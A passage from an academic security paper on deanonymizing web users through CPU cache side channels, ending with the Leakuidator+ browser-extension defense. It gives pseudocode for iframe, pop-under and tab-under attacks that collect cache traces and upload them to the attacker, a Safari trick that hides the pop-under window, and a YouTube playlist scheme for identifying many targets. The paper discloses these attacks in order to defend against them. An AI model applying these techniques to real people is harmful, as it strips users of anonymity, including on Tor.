the XS-leak attack surface [4, 12]. As a result, it has become
increasingly harder for an attacker to query the <iframe>
belonging to the sharing website and discover whether the
resource was loaded. The attack is even more challenging
in browsers which implement cross-origin resource policies
(CORP) [13] or SameSite cookies [14] which completely
block third-party cookies. In these settings, authentication
cookies are only sent to the sharing website if the site is loaded
in a top-level window of its own – any sharing website content
embedded in an <iframe> will be rendered without authen-
tication, making classical leaky resource attacks impossible.
In our work, we show how deanonymization can be performed
even in the presence of all of these countermeasures.

Figure 1: The leaky resource attack (sharing-based approach).

2.2 Cache-Based Side Channel Attacks

Modern computer systems prevent malicious code from
accessing data belonging to other applications, users, or
operating system services, by incorporating multiple trust
boundary mechanisms. Micro-architectural side-channel
attacks, defined by Aciiçmez as attacks which “exploit deeper
processor ingredients below the trust architecture boundary”,
can get around these boundaries and thus compromise the
confidentiality of the system [15]. Cache side-channel attacks
are one type of micro-architectural attack. They exploit
the high-speed cache memory, which is found in modern
processors and used to interface between the fast CPU and the
slower DRAM memory. This cache is typically divided into
multiple levels: The fastest L1 cache is assigned to individual
CPU cores, and the slowest, but largest, last-level cache (LLC)
is shared between all cores. Cache attacks make use of the fact
that all processes compete for the limited space available in
these CPU caches. An attacker can exploit this contention to
make inferences about the internal state of other processes,
regardless of any software-based isolation mechanisms.

There are several methods for performing cache attacks.
This work uses the Prime+Probe technique, originally
invented by Tromer et al. [16] and later adapted for use in the
LLC by Liu et al. [17]. The Prime+Probe attack has four steps.
First, the attacker creates one or multiple eviction sets. Each
eviction set is a list of memory addresses mapped by the CPU
into the same region of the cache, a region also used by the
victim for its own purposes. In the second step, the attacker
accesses the eviction set, bringing the cache into a known state
(prime step). Next, the attacker waits for the victim to use
the cache. Since the attacker and the victim share the same
region of the cache, this evicts some attacker data from the
cache. In the fourth and final step, the attacker accesses the
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eviction set again, and measures the access time (probe step).
A low access time means the eviction set is still in cache, while
a high access time means it was evicted and replaced by the
victim’s data. Thus, the attacker detects whether the victim
accessed a certain region of memory at a certain time, teaching
it about the victim’s internal state.

Prime+Probe attacks require a timer API with nanosecond-
level accuracy, a resolution not typically available through
JavaScript. The Cache Occupancy attack is a variation on
Prime+Probe designed for this setting [6]. In contrast to the
Prime+Probe attack, which monitors limited regions of the
cache, in the cache occupancy attack the attacker allocates a
large buffer covering the entire LLC. The attacker accesses
this buffer in the prime step, bringing the entire LLC into
a known state. Subsequent memory accesses by the victim
will necessarily evict some of the attacker’s memory from
the cache, resulting in a longer runtime for the probe step.
The use of a larger buffer allows the attack to be carried
out with coarser-grained timers, such as the ones found
within web browsers. The disadvantage of this attack is a
reduced temporal and spatial accuracy, which makes it less
appropriate for precise cryptanalytic attacks. Sweep counting
is a modified version of the cache occupancy attack designed
for even coarser-grained timers [7]. Instead of measuring the
time it takes to go over the eviction buffer once, it counts the
number of times the entire buffer can be accessed in a specified
time interval. This attack was shown effective even when
using the coarse timer found in the highly-secure Tor Browser.

3 Attack Techniques

In this section, we introduce several novel techniques to
execute targeted deanonymization attacks. Our techniques
significantly increase the potential impact of these attacks,
when compared to previous work. We do so both by
increasing the attack’s target population by applying it to
highly-popular services which have no currently-exploitable
XS-leaks, including GMail, Twitter and Facebook, and by
successfully executing it on browsers that have a strict policy
of not allowing cookies to be attached to cross-site requests,
including Safari and Tor. We also demonstrate the attack’s
scalability, by identifying concrete techniques to scale the
attack from one target user to a group of target users.

Our overarching approach is to use CPU cache-based
side channels, instead of XS-leaks, in order to determine
whether the leaky resource is successfully loaded. This has
the advantage of covering the novel scenarios introduced in
this work, for which known XS-leaks are not effective. At the
same time, we show that our approach is equally as effective
in previously known attack scenarios, thus offering a unified
framework for targeted deanonymization.

3.1 General Attack Methodology

Our attack has two phases, a training phase and an online
phase1. In the training phase, the attacker trains a machine
learning classifier to detect the cache signature associated with
successfully loading a leaky resource. The training phase can
be potentially repeated under a variety of combinations of
sharing service, browser, and device hardware.

Next, in the online phase, the victim visits the attacker-
controlled page, which loads the leaky resource. While
the leaky resource is loaded and rendered, the attack page
measures cache activity on the victim’s computer. Finally, the
attacker passes the collected cache measurements through the
trained classifier, allowing it to identify the victim. The key
advantage of our attack is that it needs no programmatic access
to the leaky resource, and does not assume the existence of any
XS-leak. This is because side-channel attacks take advantage
of hardware-level properties of the victim’s computer, and
therefore disregard any software-imposed boundaries such
as site, process and even VM isolation. In our particular case,
side-channel attacks make deanonymization possible as long
as content from the attacker’s website is rendered on the same
computer as content from the sharing website.

For the classifier to be able to differentiate between target
and non-target users, the attack page needs to measure the
cache for a certain attack duration, denoted as ta, which
depends on the attack setup, i.e., the combination of sharing
service, browser used by victim, and cache measurement
method. For most attack setups, ta is less than 3 seconds.

The techniques we present share a common structure:
First, the attacker allocates a buffer as large as the cache.
Next, the attacker causes the victim’s browser to load the
leaky resource. Then, for the attack duration ta, the attacker
repeatedly probes the buffer while the victim’s browser loads
and renders the leaky resource. Finally, the script uploads the
collected side-channel trace to the attacker’s server. Our cache
occupancy code is based on the PP0 repository [18].

3.2 Embedded Content

Several highly popular services such as YouTube, LinkedIn,
and TikTok present an ideal opportunity to maximize the
attack’s impact given their large user base. However, these
services prevent direct sharing of resource URLs, instead
requiring users to share embedded players, either as <iframe>
objects or as included scripts. The embedded player will then
attempt to load the shared resource, but would not indicate
any success or error conditions to the parent frame.

In general, cross-site embedding through an <iframe>
object minimizes the possibility of XS-leaks. This is because
cross-origin access to <iframe> elements is very limited [19].
Moreover, a sharing website can directly address any known
XS-leaks: For navigation leaks, the website can change the
behavior so the <iframe> has the same navigation events in

1For an online-only variant of our attack, please see Appendix C.
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1 startCacheAttack();
2 i = document.createElement("iframe");
3 i.src = "SD-URL";
4 document.body.appendChild(i);
5 waitForPageToLoad(t_a);
6 i.remove();
7 uploadTraceData();

Figure 2: Embedding method: <iframe> tag.

different states (the CSPViolation patch in LinkedIn [2]); for
event-based leaks, the website can ensure that the same event
is returned in different states (the EF_StatusError patch
in Imgur and HotCRP [2, 20, 21]); and for frame-counting
leaks, the same number of frames can be returned (the
OP_FrameCount patch in LinkedIn [2]).
Our Approach: Instead of using XS-leaks, we measure
the cache activity of the victim’s computer while it loads
and renders content from the resource-sharing website. As
described by the code snippet in Fig. 2, the attack web
page initiates the cache activity measurement (line 1), uses
JavaScript to insert an <iframe> tag and load the leaky
resource inside it (lines 2-4), takes cache measurements for the
duration ta (line 5), and finally removes the <iframe> (line
6) and uploads the traces to the server (line 7).

3.3 Pop-Unders and Tab-Unders

Up until the findings in this work, some scenarios were
considered safe from the reach of deanonymization attacks.
First, web browsers such as Safari, Tor, and Brave, have
a strict policy to disable cookies by default when making
cross-site requests. As such, users of these browsers may
believe they are shielded from targeted deanonymization
attacks via leaky resources. Second, popular services such
as Twitter and Facebook explicitly prevent their content
from being embedded inside other websites, either by using
the X-Frame-Options or the Content-Security-Policy
frame-ancestors headers to prevent cross-site embedding
of their resources, or by using the SameSite cookie policy,
which causes embedded content to be loaded without
identifying cookies. Knittel et al. identified some cross-site
leaks which can be applied even when the sharing website is
loaded through a pop-up window, thereby bypassing framing
and cookie restrictions [4]. This selection of leaks is, however,
very limited, and still requires programmatic access to the new
pop-up window, an ability which can be blocked in modern
browsers by the cross-origin opener policy (COOP) [22].
Our Approach: We surreptitiously load the shared resource
in a new browser window (pop-under variant) or in a browser
tab (tab-under variant). In contrast to prior work on pop-up
attacks [23, 24], we need no programmatic access to the
newly-created window. Using a CPU cache side channel, the
attacker indirectly learns private information cross-window
or cross-tab, without necessarily needing a handle to the
related tab or window. Also, unlike other work in which the
pop-up window or the new tab remain in the foreground, our

1 function go() {
2 startCacheAttack();
3 pu = window.open("SD-URL", ... );
4 ghost = window.open("about:blank");
5 ghost.focus(); ghost.close();
6 waitForPageToLoad(t_a);
7 pu.close();
8 uploadTraceData(); }

Figure 3: Embedding method: pop-under.

1 function go() {
2 ownurl = document.URL + "?run=1";
3 window.open(ownurl , ... );
4 window.location.href = "SD-URL"; }
5 if(URLparams["run"] == 1) {
6 startCacheAttack();
7 waitForPageToLoad(t_a);
8 uploadTraceData(); }

Figure 4: Embedding method: tab-under.

attack includes specific steps to put the new window/tab in
the background, making the attack less noticeable by the user.

To launch the attack, the attacker’s page first lures the victim
to click on the page. The click event allows the attack page to
open another window or tab. Instead, however, of launching a
pop-up window on top of the existing page, the attacker opens
a page which loads in the background. As a result, the user
still sees the original attack page.There are two variants to our
method: In the pop-under variant, we load the sharing website
inside a pop-up window, and then abuse the victim browser’s
window ordering logic to force the attacker’s webpage back
into focus. In the tab-under variant, we load a copy of the
attacker’s webpage in a new tab, and then replace the attacker’s
old tab with the sharing website using the standard navigation
API. The main difference between the two methods is in the
programmatic access to the window containing the sharing
website content – in the pop-up variant, the attacker has a
reference to the sharing website window (as long as COOP
does not prevent this), while in the tab-under variant, the
attacker and sharing website are completely isolated from a
programmatic standpoint.

Fig. 3 describes the pop-under attack variant. The
go() function, executed on user click, starts cache activity
measurement (line 2), and then opens a new pop-under
window to load the leaky resource (line 3). Because the
pop-under window loads in the background, the user does
not notice the attack. The attack page, which is in focus, takes
cache measurements while the leaky resource is loaded in
the pop-under window (line 6). Once the measurements are
collected, the pop-under window is closed (line 7). Because
the content is loaded in a new window, and not in an <iframe>,
requests to the sharing website are not subjected to cross-site
embedding restrictions employed by these services, and
browser third-party cookie-disabling policies do not trigger.

Causing a pop-under window to load behind the active page
requires abusing the victim browser’s window-ordering logic.
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Figure 5: A Proof-of-Concept Attack.

Advertisers are actively looking for these pop-under tricks, and
browser vendors are constantly patching them [25, 26]. For
the purpose of this paper, we identified a pop-under technique
for Safari: Immediately after opening the pop-under window,
the attack page opens a second window (ghost), brings focus
to it, and then closes it (lines 4-5). In Safari 15.2, closing the
ghost window returns focus to the attack page, placing the
pop-under window in the background. This happens very
quickly and, as a result, the victim does not notice anything
unusual happening in the attack page.

Fig. 4 describes the tab-under attack variant, which can be
used if a pop-under exploit cannot currently be found for the
victim’s browser. As described in the figure, the go() function,
which runs upon user click, opens a second instance of the
attack page, with an added URL parameter (lines 2-3). The
focus is now on this second instance, which looks identical to
the first instance, so this action is barely noticeable by the user.
The second instance of the attack page now starts collecting
cache measurements (lines 5-8). Meanwhile, after opening the
new tab, the first instance of the attack page, which is now in the
background, navigates to the SD-URL of the shared resource
(line 4). Since the first tab is not in focus, the victim does not
notice the leaky resource being loaded in this tab. In contrast to
the pop-under variant, this variant does not abuse any window
ordering APIs, and as such is supported by all of the browsers
we evaluated. As a downside, this method does not grant the
attacker programmatic access to the tab-under window, making
it impossible to close the window after the attack concludes, or
to cause it to navigate to another address. Using the tab-under
variant, we executed the leaky resource attack successfully in
all the browsers we tested, including Safari, Tor, and Chrome.

3.4 Playlists

Conventional deanonymization methods can be scaled to
multiple users by loading multiple resources in a row [1, 8].
The tab-under attack variant can only load a single URL, since
it lacks programmatic access to the new window. As a result,
it is not clear how tab-under attacks can be scaled to target
multiple users.

Our Approach: Despite this constraint, we were able to effi-
ciently scale the attack in this setting to a group of target users,
when the target users have accounts on a particularly important
service – Google/Youtube. This feat is made possible by a
unique property of YouTube, related to the way it processes
playlists. In YouTube, a user can create a playlist containing
multiple videos and share this playlist with viewers through a
public URL. If there are private videos in this playlist, and the
user currently viewing the playlist is not authorized to view
some of them, the YouTube player simply skips the unautho-
rized videos and plays the rest. Different users, therefore, will
each view a different sequence of movies when they view a
shared playlist. To exploit this, the attacker shares YouTube
videos with target users according to a certain sharing pattern,
described in Sec. 4.4, creates a public YouTube playlist that
includes these shared videos, and mounts a tab-under attack
pointing to the URL of this playlist. The cache trace resulting
from playing back this playlist lets the attacker deanonymize
an amount of users exponential in the playlist’s length.

4 Attacks

Proof of concept. Figure 5 illustrates the concept of our
attack. In the experiment illustrated in the figure, the attacker
causes the victim to load a resource from a sharing website, in
this particular case YouTube, while capturing the side-channel
trace using a cache occupancy attack. Sub-figure 5 (a) shows
the side-channel trace as a function of time, measured as the
average time required to access the attacker’s eviction buffer.
The two traces show averages made over 100 measurements
each of target and non-target states, captured on a machine
running Chrome for Windows. As the figure shows, the two
traces start identically, but quickly diverge around the 200
ms point. The cache occupancy of the non-target state rises
earlier and then returns to an idle state at around 500 ms, while
for the target state the occupancy rises slightly later and then
remains high. As possible interpretation of these two traces,
we hypothesize that the server was slightly faster to respond in
the case of a non-target, as previously identified by Watanabe
et al. [9], but the non-target content returned by the server
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did not include video content. For the target, on the other
hand, content took slightly longer to serve, but it included
video content, which generated constant pressure on the cache.
This difference in cache occupancy can be quickly captured
through a machine learning classifier.

Sub-figure 5 (b) shows the accuracy of a logistic regression
classifier, which is provided with increasingly large subsets
of the side-channel trace. For each point t in the graph, the
classifier is given the side-channel data for the time range
{0...t}, and then its accuracy is measured using 10-fold cross
validation. The bold line represents the mean accuracy over the
folds, while the light area surrounding it indicates the standard
deviation. We see that the accuracy of the classifier starts close
to a random guess, rises significantly starting at the 200ms
mark, and approaches perfect accuracy after 600ms. As this
proof-of-concept experiment shows, an attacker observing the
side-channel trace can quickly and effectively tell apart target
and non-target states through the cache side channel, without
relying on any cross-site leaks. In the following section, we
systematically investigate this attack on a variety of websites,
browsers, and target hardware microarchitectures.

4.1 Experimental setup

We examined three browsers, each with different default
privacy policies and distinct browser engines. The Chrome
browser (based on the Blink engine) allows third-party
cookies, whereas Safari (based on the Webkit engine) and Tor
(based on the Gecko engine) browsers do not allow third-party
cookies. We conducted experiments using five system
configurations, suggestively named using the combination
of OS and browser: Win-Chrome, Win-Tor, Mac-Intel-Safari,
Mac-M1-Chrome, Android-Chrome. A detailed specification
of these configurations is provided in Table 4 of Appendix A.
Selected Services. We selected the following popular
sharing websites to demonstrate the impact of our attacks:
Google (including all Google properties such as YouTube,
GDrive, Google Photos, GMail, etc.), Twitter, Facebook,
Instagram, LinkedIn, Reddit, and TikTok. Together, their user
base covers a vast majority of Internet users. The choice of
services, browsers, and devices can be further expanded. We
made these choices to cover a set of affected users as diverse,
as large and as inclusive as possible in a limited amount of time.
For YouTube and Reddit, we used the private sharing-based
approach, whereas for Twitter, LinkedIn, TikTok, Facebook,
and Instagram, we used the blocking-based approach. We
alternated between the <iframe> embedding method, the
tab-under method and the pop-under method, depending on
whether the browser allows cookies with cross-site requests,
and on whether the service allows cross-site embedding of
its authenticated resources. Additional embedding details for
each sharing service are provided in Appendix B.

The attack page. We prepared two attacker accounts on
each sharing website, and uploaded a resource to each of the
accounts. For the private sharing-based approach, the resource

in the first attacker account (Resource A) was privately shared
with the victim, and the resource in the second attacker
account (Resource B) is not shared with the victim. For the
blocking-based approach, both Resource A and Resource B
were publicly shared, but the first attacker account blocks the
victim, while the second account does not.We then prepared
two attack pages: Page A embeds Resource A, and Page
B embeds Resource B. Loading Page A simulates a target
user, whereas loading Page B simulates a non-target user.
We interleaved loading Page A and Page B, to make sure the
classifier is trained on the difference between states, and not
on the global state of the system. To automate the experiments,
we used Selenium (for Windows-based systems), AppleScript
(for MacOS-based systems), and Samsung Remote Test Lab
(for mobiles). The attack pages were hosted on a Windows
Server 2019 running on Amazon AWS EC2.

Data analysis methodology. We use supervised machine
learning to analyze the cache measurement data. To build our
data sets, we collect cache occupancy samples while a target
and a non-target user load the attack page. For single-target
attacks, we chose logistic regression after a pilot experiment
with multiple classifiers. For multi-target attacks, we chose
a long short-term memory (LSTM) neural network model
which was shown to be effective for multiclass classification
when used for website fingerprinting attacks using cache side
channels [7]. The parameters used for these classifiers are
provided in Appendix A.

For each attack setting, a subset of the samples is used to
train a classifier, which is then used to predict whether a user
loading the attack page is the targeted victim. We determined
experimentally that a dataset of 200 samples (100 target
samples and 100 non-target samples) is sufficient to yield high
attack accuracy. To prevent over-fitting the classifier to the data
set, we apply 10-fold cross validation. The per-fold accuracies
are then combined to produce a single estimate for the mean
and standard deviation of the attack accuracy. Analysis was
performed using Scikit-Learn v1.0.1 [27] and TensorFlow
v2.7.0 [28] with Python v2.7.12 in Google Colaboratory [29].

4.2 Experimental Results

Table 1 shows the attack accuracy for the various system con-
figurations we considered. The table also includes results with
the Leakuidator+ defense enabled, which will be introduced
in Sec. 5. Overall, the attacks have over 90% accuracy for a
majority of the 28 attack setups considered, indicating that
cache-based deanonymization attacks are effective across a
variety of services, browsers, and microarchitectures.

Several factors affected the value of ta. The primary factor
was the precision of the browser’s time measurement API.
Due to the high precision of the time API on Chrome and
Safari, ta was generally under 3 seconds for the Win-Chrome
and the Mac-Intel-Safari system. The Tor Browser has a
lower-precision time API, and the Tor network has higher
latency. As a result, the Win-Tor system had a higher ta of 5 to
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System Win-Chrome Win-Tor Mac-Intel-Safari Mac-M1-Chrome
Service ta Base +Defense ta Base +Defense ta Base ta Base +Defense
Google 1 98±2.5 51±8.6 5 92±8.1 47±6.8 1 100±0 1 100±0 45±7.4
Twitter 2 97.5±3.4 46.5±9.5 5 94.5±4.2 47.5±9.3 2 100±0 1 98.5±3.2 49±9.2
LinkedIn 2 100±0 55±7.8 5 84.5±6.1 44.5±10.1 1 86.5±6.3 1 98.5±2.3 53.5±14.5
TikTok 3 84.5±5.7 51.5±5.5 5 93±6 51±12.8 3 91.5±5 2 98±3.3 55.5±8.5
Facebook 2 100±0 41±10.4 5 96.5±5 44±10.4 5 84±7 1 97.5±3.4 44±7
Instagram 1 88.5±7.1 51±8.3 10 76.5±8.4 54±8.3 2 92.5±3.4 1 95.5±4.7 45±10.5
Reddit 3 89.5±8.5 45±11 8 70.5±12.5 48±9.3 3 88±5.6 3 81±7 51±11.6

Table 1: Summary of experimental results. Attack accuracy (%) is shown both before and after applying Leakuidator+. ta is
the attack duration in seconds. Average and standard deviation are obtained using 10-fold cross-validation as described in Sec. 4.1.

10 seconds. An additional factor is the way website behavior
impacts exposing differences in user states. For example,
YouTube initially loads a player and then, depending on user
state, either plays the privately shared video automatically, or
does not load the video at all. As a result, the initial part of
the side-channel trace, in which the player is loaded, does not
contribute to accuracy. Similarly, some websites, in particular
Instagram, TikTok and Reddit, expose smaller but continuous
differences between user states. For these websites, the
classifier needs a longer ta to reach peak accuracy.

The attack on the Mac-M1-Chrome system required
additional fine-tuning. Although Chrome has sub-millisecond
time API precision, using the Cache Occupancy measurement
method was not enough to capture cache activity patterns,
due to the high speed of the M1’s cache. To overcome this
limitation, we used the Sweep Counting method with a 10
millisecond measurement interval. This yielded a high attack
accuracy for all sharing websites.

In general, we experimented with videos of various sizes
and durations, all resulting in successful attacks; the smallest
video was 3.84KB with 1s duration. Since the videos are
streamed by an embedded video player from the sharing
service, the attacker is less concerned about their size or
duration, as long as they play long enough for the attack.

4.3 Attacking Mobile Phones

The attacks described so far are desktop-centric. Most
significantly, they assume the victim is logging in to the
sharing website through a web browser. Many users, however,
access sharing websites through their mobile phones. In
contrast to desktop users, mobile phone users do not tend to
use the web browser installed on the mobile phone to access
services such as Twitter, GMail and Instagram, relying instead
on dedicated apps. As a result, the mobile browser does not
typically have cookies for the targeted websites.

There is one case, however, in which the mobile browser
is almost universally logged in: The Chrome browser, which
is installed on Android phones, is tightly integrated with
Google services. The browser encourages users to “Sign into
Chrome”, an action that effectively causes the browser to log
into all Google services. Due to this feature, it is possible

to deanonymize Android users based on their GMail email
addresses, as we show next.

We carried out a limited evaluation of our attack on the
Android-Chrome system, an ARM-based Samsung Galaxy S21
device described in more detail in Table 4. We first opened
the Android Chrome browser and followed the prompts to
log in to Google services. Next, we browsed to a web page
containing an embedded Google Drive video shared only with
the target user, and collected side-channel traces using the
sweep counting method. We collected 100 traces each for the
target and non-target state, and evaluated the performance of
our classifier, using the methodology described in Section 4.1.
This yielded an attack accuracy of 91%, indicating that our
deanonymization attack is effective in a mobile setting as well.

One concerning aspect of our mobile phone attack is the
issue of mobile browser extensions. Whereas the desktop
version of Chrome allows its behavior to be modified by
third-party browser extensions, the mobile version of Chrome
has no extension support. Thus, it is not possible to install our
defense on this target, as we discuss in more detail in Sec. 7.

4.4 Scaling to Multiple Targets

In some situations, an attacker may want to target a group
of users instead of a single user. The goal of the attacker is
to identify which specific user among a list of n target users
is visiting a particular website. Staicu et al. [1] showed this
can be done efficiently in the context of previously known
XS-leaks, by using log(n) leaky resources.

A question then arises: “How can we scale the attack
to target a group of users under the new attack scenarios
introduced in this work?” In this section, we provide concrete
techniques to scale the attacks under these new scenarios.

Staicu et al. [1] proposed to scale the attack by privately
sharing each of the log(n) resources with a subset of the n
users, such that the specific subset of resources loaded by
the attacker webpage will reveal the identity of the user. This
basic pattern also works with the blocking-based approach,
except that the attacker uses log(n) attacker accounts, each
of which owns one of the log(n) resources [8].

The attack: In the training phase, the attacker takes cache
measurements and builds a cache profile for each of n states,
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Service System ta Base +Defense
LinkedIn x 8 Win-Chrome 6 99.12±0.8 15.63±3.55

Twitter x 8 Mac-Intel-Safari 6 97±1.9 N/A

YouTube x 8 Win-Tor 45 78.88±3.33 11.75±3.07

Table 2: Scalable attack results for 8 user states. Attack
accuracy (%) is shown both before and after applying the
Leakuidator+ defense. ta is the attack duration in seconds.

corresponding for the target users. These measurements are
used to train a machine learning classifier. As a prerequisite to
scale up the attack, the attacker must be able to load multiple
shared resources during a single visit of the victim to the
attacker’s website. If the browser allows third-party cookies,
and if the sharing service allows cross-site embedding, we
load multiple <iframe> elements, each containing a different
shared resource. This method will not work, however, for
sharing websites which do not provide an embedding option,
or for browsers such as Safari or Tor which restrict third-party
cookies in cross-site requests. In these settings, like in the
single-user attack, we use the pop-under and tab-under meth-
ods, as described in Sec. 3.3: For Safari, we use a pop-under
technique which allows us to load different shared resources
sequentially in the pop-under window by changing the pop-
under window’s window.location field. For the Tor Browser,
we use the tab-under technique, loading the URL of a YouTube
playlist containing multiple shared videos in a background tab.
We note that this approach works only for Google/YouTube.

A sharing pattern for playlists: The basic sharing pattern is
not effective for Tor, because if one video in the playlist does
not load, the playlist goes to play the next video and we cannot
determine if the previous video was loaded or not. Instead,
we leverage the fact that the duration of a video and the time
the player switches between videos in the list is a source
of difference in cache profiles. The playlist contains log(n)
pairs of videos, where each pair has two videos of different
duration: one short (s) and one long (`). Thus, the playlist
contains videos V s

1 ,V
`
1 ,V

s
2 ,V

`
2 ,...,V

s
log(n),V

`
log(n). For each user

i (with 1≤ i≤ n), consider the binary representation of i as
b1b2...blog(n). We associate each of the log(n) pairs of videos
with a bit in this binary representation. For 1≤ j≤ log(n), if
b j is 0, then the attacker shares privately with user i the video
V s

j , otherwise the attacker shares the video V `
j . As a result, the

playlist plays log(n) videos, and the specific combination of
videos will be used to identify the user.
Scaling Evaluation: Since the attack requires only a
logarithmic number of leaky resources relative to the number
of targeted users, the attack can be scaled to track thousands
of users while still requiring a reasonable amount of time. As a
proof of concept, we evaluated the effectiveness of the scaled
multi-user attack with 8 states (seven states for the targeted
users, plus one state for non-target users). We considered three
settings: 1) LinkedIn under Chrome for Windows is a setting
where third-party cookies are supported by the browser; 2)

Twitter under Safari for Mac is a setting where third-party
cookies are not supported by the browser, but there exists
a pop-under method allowing post-popup navigation. 3)
Google/Youtube under Tor for Windows is the most extreme
setting, where third-party cookies are not supported by the
browser, and there is no pop-under method which allows post-
popup navigation. The attack could tell the victims apart with
high accuracies in all three settings, as indicated in Table 2.

5 Defenses

We now turn to the design of a countermeasure against
the attacks we discovered. Our attack operates at the
microarchitectural level, learning about the victim’s state by
observing the CPU cache. As such, it cannot be obstructed
neither by software-based isolation mechanisms such as
SameSite cookies, cross-origin read blocking or cross-origin
opener policies, nor by server-side isolation mechanisms
such as self-reloading landing pages [12]. Instead, we turn
to techniques from the field of side-channel defenses.

As stated by Mangard et al. [30], there are two general
defense approaches against side-channel attacks. The first is
mitigation, or hiding, which tries to make attacks impractical
by reducing the signal-to-noise ratio of the side-channel trace.
The second is prevention, or masking, which tries to make
attacks theoretically impossible by removing all dependencies
between the side-channel trace and any secret-bearing
computation. We first evaluate a mitigation-type defense,
which is simpler to design and implement. Specifically, we
ran external code that generated artificial cache noise while
the cache trace was collected, as well as playing videos or
loading websites in other tabs of the browser. We found that
a noise-based defense is not effective against a well-prepared
attacker. As a result, we focused on a more systematic
approach based on side-channel leakage prevention.

5.1 A First Approach: Adding Artificial Noise

The first defense we evaluated was a simple noise-based hiding
defense. Specifically, we ran external code that generated
artificial cache noise while the cache trace was collected, and
checked whether this added noise can prevent the detection
of the cache signatures required by our attacks.

We considered two sources for cache noise: CPU stress tests
and web browsing activity. For stress-test noise, we evaluated
four CPU cache-focused stress-ng tests [31]: binary search
(bsearch), heap-sort (heap), wide-spread memory reads and
writes (cache), CPU-intensive operations (cpu) 2.

For web-browsing noise, we evaluated two web-browsing
activities: a YouTube video player (play), and a Wikipedia
webpage which was reloaded once per second (wiki). These

2Exact command line parameters were as follows:
bsearch: stress-ng –bsearch 0
heap: stress-ng –heapsort 0
cache: stress-ng –cache 0 –cache-level 3 –cache-ways 16
cpu: stress-ng –cpu 8
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bsearch heap cache cpu play wiki

No-Noise 47.5% 50% 50% 49% 50% 99%

Known-Noise 87% 87.5% 84% 79% 99% 99%

Unknown-Noise N/A N/A 83% 84% 95% 98%

Table 3: Attack accuracy under various types of noise.
Stress tests: binary search (bsearch), heapsort (heap), wide
spread memory reads and writes (cache), and CPU intensive
operations (cpu). Web browsing: YouTube player (play) and
Wikipedia page (wiki).

activities were performed in a second browser tab loaded
together with the attack page.

We considered three attack scenarios, which simulate
different amounts of information the adversary has about the
defenses employed by the victim. In the No-Noise Scenario,
training was done in the absence of noise, while testing was
done in the presence of noise. In the Known-Noise Scenario,
the traces used both for training and for testing were gathered
in the presence of the same type of noise. Finally, in the
Unknown-Noise, training was done on data gathered under
four types of noise (no noise, bsearch, heapsort, play), and
testing was done on data gathered under the four other types
of noise (cache, cpu, play, wiki). All three scenarios were
evaluated with an attack page that embeds a YouTube video
in an <iframe> in the Chrome browser under Windows, and
that uses a regular cache occupancy method.

Table 3 shows the results of this noise-based defense. We
observe that under the No-Noise scenario, the attack accuracy
remains around 50% for all noise sources other than wiki,
suggesting the noise-based approach may be effective against
an unprepared adversary. Unfortunately, this is not the case
when the adversary has prior awareness of this noise-based
defense: Under the Known-Noise scenario, the attack accuracy
varies between 79% and 87.5%, which is somewhat lower than
the 98% accuracy observed in the absence of all defenses, but
still significantly higher than the base rate of 50%. To make
things worse, as the Unknown-Noise scenario shows, attacks
are still possible even when the attacker does not know the
type of noise the victim plans to use as a defense. We therefore
conclude that a simple noise-based defense is not an effective
countermeasure against our attacks.

5.2 Leakuidator+

We now describe the design and implementation of our
main defense proposed in this work, Leakuidator+. The
countermeasure is compatible with the desktop versions of
Chrome, Firefox and Tor Browser, and is already available
on the Chrome and Firefox extension stores [10, 11].
Leakuidator+ is based on Leakuidator [3], a previously-

proposed client-side defense designed to protect against XS-
leak-based targeted deanonymization. We first describe the
original Leakuidator defense, highlight the changes made to

Web
Browser

Leakuidator+

Extension
Sharing
Website

Req Req

RespResp

(Delay td)
Req∗

Resp∗

Figure 6: Interaction Diagram for Leakuidator+.

this countermeasure to make it effective against the novel at-
tacks described in this paper, and finally show an experimental
validation of the effectiveness of the proposed defense.

Figure 6 shows the exchange of messages between the
browser, the extension, and ultimately the sharing website.
As the figure shows, the process starts when the browser
sends a web request Req, together with cookies, to the sharing
website. When the extension intercepts this request, it
classifies the request as potentially risky if the request contains
cookies and is cross-site. In that case, the extension strips the
authentication cookies from the request, and only then passes
it on to the sharing website. Since the sharing website does not
have access to the authentication cookies, its response Resp
trivially contains no identifying information about the user.
When the extension receives the response Resp, it passes it
directly to the browser for rendering.

This mechanism can be used to block all third-party cookies.
Such behavior, however, is not appropriate in many cases –
cookies are important for many existing web functionalities,
including analytics and tracking. To remain compatible
with these use-cases, the extension generates a fresh request,
labeled Req∗, containing the cookies stripped from Req. The
extension then sends Req∗ to the sharing website in the form
of a HEAD request. The additional delay td between the
transmission of Req and the transmission of Req∗ is unique
for Leakuidator+, and the reason for its inclusion will be
described below. The personalized response that the sharing
website sends back, labeled Resp∗, is never forwarded to the
browser for rendering – it is only analyzed by the browser
extension. As long as the browser’s extension API prevents
the webpage from accessing the fields of Resp∗, the user is
again protected from XS-leak-based deanonymization. The
extension finally compares Resp and Resp∗. If there are
any observable differences between the two, the extension
indicates this to the user through the browser toolbar.

We made a series of changes to Leakuidator so that it
protects against the new attacks proposed in this paper.
Protecting against pop-unders and tab-unders. The orig-
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inal Leakuidator was only configured to offer protection in
cases of cross-origin web requests. This covers the existing
class of XS-leak-based attacks, but specifically excludes any
first-party requests from protection. Hence, no protection is
provided against the pop-under and tab-under embedding meth-
ods used by our attacks. Since wholesale blocking of all first-
party cookies would immediately break the functionality of
many web pages, we selected a more refined approach to decide
when to activate our protection. Specifically, Leakuidator+
keeps track of which browser tabs and windows were created by
which webpage, creating groups of related tabs and windows.
This is done by monitoring the webNavigation API to detect
when a new tab or window is opened, and recording the rela-
tions between parent and child. When a request is made in ei-
ther a parent or a child window/tab, the extension detects if the
request’s domain is different from the top-level domain in the
related window/tab, and applies the defense. Leakuidator+
excludes from the defense any tabs that are manually created
by the user (e.g.. by clicking on the “+” or “New Tab” button).

Removing residual side-channel leaks. As Leakuidator
was shown to be effective at preventing leaky resource attacks
based on known XS-leaks, we expected it to be immediately ef-
fective against the side channel-based leaks investigated in this
work. We were instead surprised to find that it is ineffective. For
example, when we launched an attack using an image hosted
on Google Drive in the Chrome browser, we could visually ob-
serve differences in the CPU cache side-channel measurements
between target and non-target users, even when Leakuidator
was enabled. These differences were also exploitable by our
machine learning classifier. As a result, our attack remained
highly effective despite the presence of Leakuidator, achiev-
ing a 86% attack accuracy instead of the expected base-rate of
50%. This finding is counter-intuitive – when Leakuidator
is installed, the server does not respond with the image content,
and the browser does not render any leaky resources.

We performed a detailed analysis to understand this finding,
and uncovered two subtle reasons that cause observable
differences in the side-channel measurements. First, there
is a server side channel related to Resp∗, (i.e., the response
